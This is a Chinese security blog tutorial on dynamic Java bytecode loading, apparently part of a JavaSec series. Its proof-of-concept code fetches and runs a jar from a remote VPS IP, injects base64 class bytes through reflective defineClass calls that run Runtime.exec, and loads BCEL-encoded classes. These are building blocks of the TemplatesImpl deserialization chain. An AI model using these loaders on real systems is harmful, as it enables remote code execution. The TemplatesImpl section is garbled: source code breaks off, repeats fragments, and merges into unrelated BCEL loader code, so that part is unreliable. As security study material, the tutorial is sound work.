JavaSec系列 | 动态加载字节码

 视频教程在我主页简介或专栏里

目录:

动态加载字节码

 字节码

 加载远程/本地文件

 利用defineClass()直接加载字节码

 利用TemplatesImpl加载字节码

动态加载字节码

字节码

Java字节码指的是JVM执行使用的一类指令,通常被存储在.class文件中。

加载远程/本地文件

在前面类加载机制的学习中,正常情况下URLClassLoader是AppClassLoader的父类。

通常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,这个基础路径有分三种情况:

1、URL未以斜杠/结尾,则认为是一个Jar文件,使用JarLoader来寻找类,即在Jar包上寻找类。

2、URL以/结尾,且协议名为file,则使用FileLoader来寻找类,即在本地系统中寻找.class文件

3、URL以斜杠/结尾,且协议名不为file,则使用最基础的Loader来寻找类

本地加载 .class 文件

其实都是前面说过的了,主要是加载class文件,所以class文件不能有包名。

Reflection.java内容:

public class Reflection { private String name = "fupanc";
public Reflection(){
  
   System.out.println("调用了Reflection的构造函数"); }}

Main.java内容;

package java_foundation;
import java.net.URLClassLoader;import java.net.URL;
public class Main {
  
   public static void main(String[] args) throws Exception{
  
   URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file://D:\\")}); Class clazz = urlClassLoader.loadClass("Reflection"); clazz.newInstance(); }}

可以先使用javac将Reflection.java打成Reflection.class然后放在D盘。

我的maven项目是自动编译然后放在项目中的target目录下的,这里直接找就行。

启动成功输出:

调用了Reflection的构造函数

但是我发现可以如下加载:

//这个Reflection类是由包名的package java_foundation;
import java.net.URLClassLoader;import java.net.URL;
public class Main {
  
   public static void main(String[] args) throws Exception{
  
   URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file://D:\\")}); Class clazz = urlClassLoader.loadClass("java_foundation.Reflection"); clazz.newInstance(); }}

以此类推吧,对于class文件也不一定是必须没有包名,加载时加上软件包即可,后面就不补充了。

远程加载 .class 文件

其实都是差不多的,这里试一下远程加载自己vps上的class文件,但感觉应该不行,应该是有什么安全策略的。自己编写一下

package java_foundation;
import java.net.URLClassLoader;import java.net.URL;
public class Main {
  
   public static void main(String[] args) throws Exception{
  
   URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://47.100.223.173/Reflection.class")}); Class clazz = urlClassLoader.loadClass("Reflection"); clazz.newInstance(); }}

然后将本地的Reflection.java文件删除,再来运行,发现报错如下:

Exception in thread "main" java.lang.ClassNotFoundException: Reflection at java.net.URLClassLoader.findClass(URLClassLoader.java:381) at java.lang.ClassLoader.loadClass(ClassLoader.java:424) at java.lang.ClassLoader.loadClass(ClassLoader.java:357) at java_foundation.Main.main(Main.java:9)

可能是URL路径问题,这是我看了一下前面讲的基础路径,尝试一下用jar包呢,所以我将构建jar包的代码改成如下:​​​​​​​

public class MyTest{ public MyTest(){
  
   System.out.println("调用了远程url类的构造函数"); }}

然后传到服务器上即可,如下尝试:

​​​​​​​

package java_foundation;
import java.net.URLClassLoader;import java.net.URL;
public class Main {
  
   public static void main(String[] args) throws Exception{
  
   URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://47.100.223.173/jar_build.jar")}); Class clazz = urlClassLoader.loadClass("MyTest"); clazz.newInstance(); }}

成功调用并输出:

调用了远程url类的构造函数

这样用符合基础路径的格式成功调用了远程的class代码。感觉利用点很大呢。

利用defineClass()直接加载字节码

在之前的调试中,可以知道Java加载都需要经过:

ClassLoader.loadClass -> ClassLoader.findClass -> ClassLoader.defineClass

其中:

1、loadClass的作用是从已经加载的类缓存、父加载器等位置寻找类(双亲委派机制),在前面没有找到的情况下执行findClass

2、findClass的作用就是根据基础URL制定的方式来查找类,读取字节码后交给defineClass

3、defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类

defineClass决定如何将一段字节流转换变成一个Java类,Java默认的ClassLoader.defineClass是一个native方法(C语言实现):

利用方法如下:

利用反射获取defineClass方法​​​​​​​

import java.lang.reflect.Method;
public class Main{
  
   public static void main(String[] args){
  
   Method method = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class, int.class, int.class); method.setAccessible(true); }}

此时Text.java内容为:​​​​​​​

import java.lang.Runtime;
public class Text{
  
   static{
  
   try{
  
   Runtime.getRuntime().exec("calc"); }catch(Exception e){
  
   System.out.println("异常退出"); } }}//还是需要注意class文件要没有包名

将其转换为class文件后再转换为base64编码,如下:​​​​​​​

package java_foundation;
import java.nio.file.*;import java.util.Base64;
public class FileToBase64 {
  
   public static void main(String[] args) {
  
   String filePath = "D:\\maven_text\\maven1_text\\target\\test-classes\\Text.class"; // 请替换成你实际的文件路径
try {
  
   byte[] fileBytes = readFileToByteArray(filePath);
String base64Encoded = encodeBase64(fileBytes);
System.out.println("Base64 Encoded Content:"); System.out.println(base64Encoded); } catch (Exception e) {
  
   e.printStackTrace(); } } public static byte[] readFileToByteArray(String filePath) throws Exception {
  
   return Files.readAllBytes(Paths.get(filePath)); } public static String encodeBase64(byte[] data) {
  
   return Base64.getEncoder().encodeToString(data); }}//也可以javac编译,然后cat输出是Base64编码一下,就是需要注意idea和javac运行的JDK版本要相同。

再使用base64解码就可以得到完整的字节码了,如下:

byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKgoACAAbCgAcAB0IAB4KABwAHwcAIAoABQAhBwAiBwAjAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAAg8Y2xpbml0PgEAAXgBABNMamF2YS9sYW5nL1J1bnRpbWU7AQABeQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAgAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwACQAKBwAkDAAlACYBAARjYWxjDAAnACgBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAApAAoBAARUZXN0AQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAIAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAEAA0AAAAMAAEAAAAFAA4ADwAAAAgAEAAKAAEACwAAAIEAAgACAAAAFrgAAksSA0wqK7YABFenAAhLKrYABrEAAQAAAA0AEAAFAAMADAAAAB4ABwAAAAcABAAIAAcACQANAAwAEAAKABEACwAVAA0ADQAAACAAAwAEAAkAEQASAAAABwAGABMAFAABABEABAAVABYAAAAXAAAABwACUAcAGAQAAQAZAAAAAgAa");

加载字节码成Class对象,然后实例化拿到一个对象​​​​​​​

Class Test = (Class)method.invoke(ClassLoader.getSystemClassLoader(), "Test", code, 0, code.length);Test.newInstance();//ClassLoader.getSystemClassLoader()返回系统的类加载器对象

这里是因为defineClass()方法是一个实例方法。所以可以需要用一个实例对象即可,所以最终如下输出:​​​​​​

package java_foundation;
import java.lang.ClassLoader;import java.util.Base64;import java.lang.reflect.Method;
public class Main {
  
   public static void main(String[] args) throws Exception{
  
   byte[] code = Base64.getDecoder().decode("yv66vgAAADQAMQoACgAZCgAaABsIABwKABoAHQcAHgkAHwAgCAAhCgAiACMHACQHACUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxUZXh0OwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB4BAApTb3VyY2VGaWxlAQAJVGV4dC5qYXZhDAALAAwHACYMACcAKAEABGNhbGMMACkAKgEAE2phdmEvbGFuZy9FeGNlcHRpb24HACsMACwALQEADOW8guW4uOmAgOWHugcALgwALwAwAQAEVGV4dAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAAAwAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABlAAIAAQAAABa4AAISA7YABFenAAxLsgAGEge2AAixAAEAAAAJAAwABQADAA4AAAAWAAUAAAAGAAkACQAMAAcADQAIABUACgAPAAAADAABAA0ACAATABQAAAAVAAAABwACTAcAFggAAQAXAAAAAgAY"); Method method = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class); method.setAccessible(true); Class clazz = (Class)method.invoke(ClassLoader.getSystemClassLoader(),"Text",code,0,code.length); clazz.newInstance(); }}

成功弹出计算机。

使用javac目录的话就需要注意JDK的版本问题,需要一致。

在前面的POC中调用方法时是用的AppClassLoader实例,也是才知道原来这里返回的ClassLoader是一个实例,那么这里为什么这样用呢。大概想一下就可以知道,由于defineClass()方法是一个普通方法,所以当调用invoke()方法时需要一个实例,即需要一个ClassLoader的实例来调用它。这里就是用AppClassLoader类加载器来加载Text类,大概就是这个意思。

————————

同样的可以直接利用IO进行文件读取,如下:​​​​​​​

package java_foundation;
import java.lang.ClassLoader;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;
public class Main {
  
   public static void main(String[] args) throws Exception{
  
   byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\Text.class")); Method method = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class); method.setAccessible(true); Class clazz = (Class)method.invoke(ClassLoader.getSystemClassLoader(),"Text",code,0,code.length); clazz.newInstance(); }}

同时要想到这里既然可以利用defineClass()方法直接加载字节码,那么我们在自定义类加载器的时候也要想到这一点,也许就可以直接利用。

defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行,而且即使我们将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。所以,如果我们想要使用defineClass在目标机器上执行任意代码,需要想办法调用构造函数。

一定要注意的是:由于系统的ClassLoader#defineClass是一个保护属性,所以我们不能直接在外部访问,必须使用反射的形式来调用。

在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链TemplateImpl的基石

利用TemplatesImpl加载字节码

虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它,这就是TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类TransletClassLoader,源代码如下:​​​​​​​

static final class TransletClassLoader extends ClassLoader {
  
   private final Map _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
  
   super(parent); _loadedExternalExtensionFunctions = null; } TransletClassLoader(ClassLoader parent,Map mapEF) {
  
   super(parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException {
  
   Class<?> ret = null; if (_loadedExternalExtensionFunctions != null) {
  
   ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null) {
  
   ret = super.loadClass(name); } return ret; } Class defineClass(final byte[] b) {
  
   return defineClass(null, b, 0, b.length); }}

这个类继承自ClassLoader类,并且重写了defineClass方法,是一个静态类,并且这里没有显示地声明其定义域,那么它的作用域就是default,可以被类外部调用。

注意看它的defineClass()方法,和前面说的利用的defineClass调用的方法是一样的,这里可以尝试调用,但是这里是只传入了byte,应该也是可以利用的,本来这个重点应该就是字节码。

那么现在从 TransletClassLoader#defineClass() 向前追溯一下调用链:​​​​​​​

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()

那现在来跟一下这个调用链,从后往前。

我们看TemplatesImpl#defineTransletClasses()​​​​​​​

private void defineTransletClasses() throws TransformerConfigurationException {
  
   if (_bytecodes == null) {//注意这里 ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() {
  
   public Object run() {
  
   return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });
try {
  
   final int classCount = _bytecodes.length; _class = new Class[classCount];
if (classCount > 1) {
  
   _auxClasses = new HashMap(); } for (int i = 0; i 1) {
  
   _auxClasses = new HashMap(); } for (int i = 0; i 1) {
  
   _auxClasses = new HashMap(); } for (int i = 0; i = 0) clazz = createClass(class_name); else { // Fourth try: Load classes via repository if ((clazz = repository.loadClass(class_name)) != null) {
  
   clazz = modifyClass(clazz); } else throw new ClassNotFoundException(class_name); } if(clazz != null) {
  
   byte[] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0, bytes.length);//这里调用了defineClass方法 } else // Fourth try: Use default class loader cl = Class.forName(class_name); } if(resolve) resolveClass(cl); } classes.put(class_name, cl);
return cl; }

其中调用的是defineClass()方法​​​​​​​

if(clazz != null) {
  
   byte[] bytes = clazz.getBytes(); cl = defineClass(class_name, bytes, 0, bytes.length);//这里调用了defineClass方法 }

看代码,这里就需要需要BCEL字节码的开头为BCEL,用createClass方法获取类的Class对象从而可以赋值给clazz。​​​​​​​

if(class_name.indexOf("$$BCEL$$") >= 0) clazz = createClass(class_name);

简单梳理一下过程,首先就是设置cl为null

然后在下面这个条件语句判断开头有没有这个东西,如果有,就使用createClass()方法来对象并赋值给clazz,具体实现可以自己去看源代码(在createClass方法内就已经将BCEL形式的字节码转换成JavaClass对象了)

此时clazz不为null,那么就会进入到下面这个语句

image-

这里就会调用到defeineClass()方法了,再在这里面得到类的Class字节码,最终获得类对象cl并return了回去。

流程已经基本清楚,那么如何利用呢,如下:

在BCEL中,它提供了Utility和Repository类

其中Repository提供了lookupClass方法用于加载一个类

Utility类提供了一个encode方法用于将JavaClass对象转换成BCEL形式的字节码

String code = Utility.encode(clazz.getBytes(), true);

再用BCEL ClassLoader进行加载

new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();//这里就是简单的实例化对象后的对一个函数的调用

整合一下,我们可以这样利用

编写恶意类:​​​​​​​

//Test.javapublic class Test{
  
   static {
  
   Runtime.getRuntime().exec("calc"); }}

POC:​​​​​​​

import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class Main {
  
   public static void main(String[] args) throws Exception {
  
   JavaClass clazz = Repository.lookupClass(Test.class); String code = Utility.encode(clazz.getBytes(), true); System.out.println(code); new ClassLoader().loadClass("$$BCEL$$" + code).newInstance(); }}

成功弹出计算机:

代码为什么要这样构造其实已经比较清楚了,可以自己想想流程来对比一下。

还有的就是这里JDK7运行需要改idea的配置

 

 视频教程在我主页简介或专栏里

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/958848.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

第十四讲 JDBC数据库

1. 什么是JDBC JDBC&#xff08;Java Database Connectivity&#xff0c;Java数据库连接&#xff09;&#xff0c;它是一套用于执行SQL语句的Java API。应用程序可通过这套API连接到关系型数据库&#xff0c;并使用SQL语句来完成对数据库中数据的查询、新增、更新和删除等操作…

JVM面试题解,垃圾回收之“分代回收理论”剖析

一、什么是分代回收 我们会把堆内存中的对象间隔一段时间做一次GC&#xff08;即垃圾回收&#xff09;&#xff0c;但是堆内存很大一块&#xff0c;内存布局分为新生代和老年代、其对象的特点不一样&#xff0c;所以回收的策略也应该各不相同 对于“刚出生”的新对象&#xf…

电脑如何访问手机文件?

手机和电脑已经深深融入了我们的日常生活&#xff0c;无时无刻不在为我们提供服务。除了电脑远程操控电脑外&#xff0c;我们还可以在电脑上轻松地访问Android或iPhone手机上的文件。那么&#xff0c;如何使用电脑远程访问手机上的文件呢&#xff1f; 如何使用电脑访问手机文件…

ThinkPHP 8模型与数据的插入、更新、删除

【图书介绍】《ThinkPHP 8高效构建Web应用》-CSDN博客 《2025新书 ThinkPHP 8高效构建Web应用 编程与应用开发丛书 夏磊 清华大学出版社教材书籍 9787302678236 ThinkPHP 8高效构建Web应用》【摘要 书评 试读】- 京东图书 使用VS Code开发ThinkPHP项目-CSDN博客 编程与应用开…

【MySQL】数据库基础知识

欢迎拜访&#xff1a;雾里看山-CSDN博客 本篇主题&#xff1a;【MySQL】数据库基础知识 发布时间&#xff1a;2025.1.21 隶属专栏&#xff1a;MySQL 目录 什么是数据库为什么要有数据库数据库的概念 主流数据库mysql的安装mysql登录使用一下mysql显示数据库内容创建一个数据库创…

【线性代数】基础版本的高斯消元法

[精确算法] 高斯消元法求线性方程组 线性方程组 考虑线性方程组&#xff0c; 已知 A ∈ R n , n , b ∈ R n A\in \mathbb{R}^{n,n},b\in \mathbb{R}^n A∈Rn,n,b∈Rn&#xff0c; 求未知 x ∈ R n x\in \mathbb{R}^n x∈Rn A 1 , 1 x 1 A 1 , 2 x 2 ⋯ A 1 , n x n b 1…

高等数学学习笔记 ☞ 微分方程

1. 微分方程的基本概念 1. 微分方程的基本概念&#xff1a; &#xff08;1&#xff09;微分方程&#xff1a;含有未知函数及其导数或微分的方程。 举例说明微分方程&#xff1a;&#xff1b;。 &#xff08;2&#xff09;微分方程的阶&#xff1a;指微分方程中未知函数的导数…

HarmonyOS基于ArkTS卡片服务

卡片服务 前言 Form Kit&#xff08;卡片开发框架&#xff09;提供了一种在桌面、锁屏等系统入口嵌入显示应用信息的开发框架和API&#xff0c;可以将应用内用户关注的重要信息或常用操作抽取到服务卡片&#xff08;以下简称“卡片”&#xff09;上&#xff0c;通过将卡片添加…

Java复习第四天

一、代码题 1.相同的树 (1)题目 给你两棵二叉树的根节点p和q&#xff0c;编写一个函数来检验这两棵树是否相同。 如果两个树在结构上相同&#xff0c;并且节点具有相同的值&#xff0c;则认为它们是相同的。 示例 1: 输入:p[1,2,3]&#xff0c;q[1,2,3] 输出:true示例 2: 输…

全面了解 Web3 AIGC 和 AI Agent 的创新先锋 MelodAI

不管是在传统领域还是 Crypto&#xff0c;AI 都是公认的最有前景的赛道。随着数字内容需求的爆炸式增长和技术的快速迭代&#xff0c;Web3 AIGC&#xff08;AI生成内容&#xff09;和 AI Agent&#xff08;人工智能代理&#xff09;正成为两大关键赛道。 AIGC 通过 AI 技术生成…

新能源汽车充电桩选型以及安装应用

摘要:随着当前经济的不断发展,国家的科技也有了飞速的进步,传统的燃油汽车已经不能适应当前社会的发展,不仅对能源造成巨大的消耗,还对环境造成了污染,当前一种新型的交通运输工具正在占领汽车市场。在环境问题和能源问题愈发严重的当今社会,节能减排已经成为全世界的共同课题,…

一个vue项目npm install失败的问题解决方案

vue的项目一直是史上最难的最烦的问题&#xff0c;今天给别人做毕设单子想在gitee上拉项目二开的时候&#xff0c;由于很久没写过vue项目已经生疏了&#xff0c;在拿到项目之后我还是例行完成最常见的步骤&#xff1a; 1、npm init -y 初始化 2、npm install 用npm把这个项目…

计算机网络 (55)流失存储音频/视频

一、定义与特点 定义&#xff1a;流式存储音频/视频是指经过压缩并存储在服务器上的多媒体文件&#xff0c;客户端可以通过互联网边下载边播放这些文件&#xff0c;也称为音频/视频点播。 特点&#xff1a; 边下载边播放&#xff1a;用户无需等待整个文件下载完成即可开始播放…

UE求职Demo开发日志#6 测试用强化页面UI搭建

1 反向实现思路设计 先看最终效果&#xff1a; 先做了一个大致的分区&#xff0c;右侧的上半部分用来显示数据&#xff0c;下半部分用来强化和显示需要的材料&#xff0c;至于这个背景设定上强化应该叫什么&#xff0c;。。。。&#xff0c;还没定&#xff0c;反正应该不叫强…

python学opencv|读取图像(四十一 )使用cv2.add()函数实现各个像素点BGR叠加

【1】引言 前序已经学习了直接在画布上使用掩模&#xff0c;会获得彩色图像的多种叠加效果&#xff0c;相关文章链接为&#xff1a; python学opencv|读取图像&#xff08;四十&#xff09;掩模&#xff1a;三通道图像的局部覆盖-CSDN博客 这时候如果更进一步&#xff0c;直接…

SpringCloudAlibaba 服务保护 Sentinel 项目集成实践

目录 一、简介1.1、服务保护的基本概念1.1.1、服务限流/熔断1.1.2、服务降级1.1.3、服务的雪崩效应1.1.4、服务的隔离的机制 1.2、Sentinel的主要特性1.3、Sentinel整体架构1.4、Sentinel 与 Hystrix 对比 二、Sentinel控制台部署3.1、版本选择和适配3.2、本文使用各组件版本3.…

窥探QCC518x-308x系列与手机之间的蓝牙HCI记录与分析 - 耳机篇

上一篇是介绍如何窥探手机端Bluetooth的HCI log, 本次介绍是如何窥探Bluetooth的HCI log-耳机篇. 这次跟QCC518x/QCC308x测试的手机是Samsung S23 Ultra. QCC518x/QCC308x透过HCI界面取得Log教学. 步骤1: 开启QMDE -> 选择ADK r1102 QCC3083 Headset workspace.步骤2: 点…

C++ list 容器用法

C list 容器用法 C 标准库提供了丰富的功能&#xff0c;其中 <list> 是一个非常重要的容器类&#xff0c;用于存储元素集合&#xff0c;支持双向迭代器。<list> 是 C 标准模板库&#xff08;STL&#xff09;中的一个序列容器&#xff0c;它允许在容器的任意位置快速…

SpringSecurity实现自定义用户认证方案

Spring Security 实现自定义用户认证方案可以根据具体需求和业务场景进行设计和实施&#xff0c;满足不同的安全需求和业务需求。这种灵活性使得认证机制能够更好地适应各种复杂的环境和变化‌。通过自定义认证方案&#xff0c;可以更好地控制和管理用户的访问权限&#xff0c;…

深入内核讲明白Android Binder【三】

深入内核讲明白Android Binder【三】 前言一、服务的获取过程内核源码解析1. 客户端获取服务的用户态源码回顾2. 客户端获取服务的内核源码分析2.1 客户端向service_manager发送数据1. binder_ioctl2. binder_ioctl_write_read3. binder_thread_write4. binder_transaction4.1 …